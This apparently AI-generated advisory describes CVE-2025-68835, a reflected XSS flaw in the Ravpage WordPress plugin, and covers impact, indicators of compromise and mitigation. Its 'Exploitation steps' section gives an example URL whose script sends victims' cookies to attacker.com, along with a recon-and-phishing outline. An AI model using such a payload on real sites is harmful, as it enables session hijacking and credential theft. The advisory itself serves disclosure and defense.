CVE-2025-68835
WordPress vulnerability analysis and mitigation

Overview

CVE-2025-68835 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Ravpage WordPress plugin developed by matiskiba. It affects all versions of the plugin up to and including version 2.33, with no official patch currently available. The vulnerability was reported on October 31, 2025, and publicly disclosed on January 20–22, 2026. It carries a CVSS v3.1 base score of 7.1 (High), assessed by CISA-ADP (Patchstack, NVD).

Technical details

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), meaning the plugin fails to properly sanitize or encode user-supplied input before reflecting it in the generated HTML response. An unauthenticated remote attacker can craft a malicious URL containing a JavaScript payload that, when visited by a victim, executes in the context of the victim's browser session. Exploitation requires user interaction — specifically, a privileged or regular user must click a crafted link or visit a malicious page. The vulnerability was discovered by security researcher Skalucy and reported through Patchstack (Patchstack).

Impact

Successful exploitation allows an attacker to inject and execute arbitrary JavaScript in the browser of any user who clicks a malicious link, with the script running in the context of the affected WordPress site. This can lead to session hijacking, credential theft, unauthorized actions performed on behalf of the victim, redirection to phishing pages, or defacement of the site as perceived by the victim. The CVSS scope is marked as "Changed," indicating the impact extends beyond the vulnerable component itself, affecting the victim's browser environment (Patchstack, NVD).

Exploitability

No public proof-of-concept exploit code has been identified at this time, and there is no confirmed evidence of active in-the-wild exploitation. The EPSS score is approximately 0.029%, indicating a low current probability of exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, Patchstack notes that vulnerabilities of this type are commonly used in mass-exploit campaigns targeting WordPress sites at scale, regardless of site popularity (Patchstack).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the Ravpage plugin version 2.33 or earlier using tools like WPScan, Shodan, or Google dorks targeting plugin-specific file paths.
  2. Identify vulnerable parameter: Analyze the Ravpage plugin's request handling to locate input parameters that are reflected in the HTTP response without proper sanitization.
  3. Craft malicious URL: Construct a URL targeting the vulnerable endpoint with a reflected XSS payload embedded in the vulnerable parameter, e.g., https://target-site.com/?ravpage_param=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
  4. Deliver payload: Send the crafted URL to a target user (e.g., a WordPress administrator) via phishing email, social engineering, or malicious advertisement.
  5. Achieve objective: When the victim clicks the link and loads the page, the injected script executes in their browser, enabling session cookie theft, credential harvesting, or unauthorized actions on the WordPress site (Patchstack).

Indicators of compromise

  • Network: Unusual outbound requests from victim browsers to unknown external domains shortly after visiting WordPress pages containing Ravpage plugin content; HTTP requests with encoded JavaScript payloads (<script>, %3Cscript%3E, javascript:) in URL query parameters.
  • Logs: WordPress or web server access logs showing GET/POST requests to Ravpage plugin endpoints with suspicious characters or encoded script tags in parameter values; repeated requests from the same IP with varying XSS payloads (indicative of scanning).
  • Browser/Application: Unexpected redirects or pop-ups on pages rendered by the Ravpage plugin; reports from users of unusual behavior after clicking links to the affected WordPress site.

Mitigation and workarounds

As of the disclosure date, no official patch has been released by the plugin developer for the Ravpage plugin. Site administrators are advised to deactivate and remove the Ravpage plugin until a patched version becomes available. Patchstack has issued a virtual patching/mitigation rule for its subscribers to block exploitation attempts in the interim. Additionally, implementing a Web Application Firewall (WAF) with XSS filtering rules can help reduce exposure (Patchstack).

Community reactions

Wordfence included this vulnerability in its weekly WordPress vulnerability report covering January 19–25, 2026, highlighting it among other plugin-level XSS issues. Patchstack, which discovered and disclosed the vulnerability through researcher Skalucy, classified it as medium priority and noted the risk of mass-exploit campaigns targeting WordPress plugins of this type (Wordfence, Patchstack).

Additional resources


SourceThis report was generated using AI

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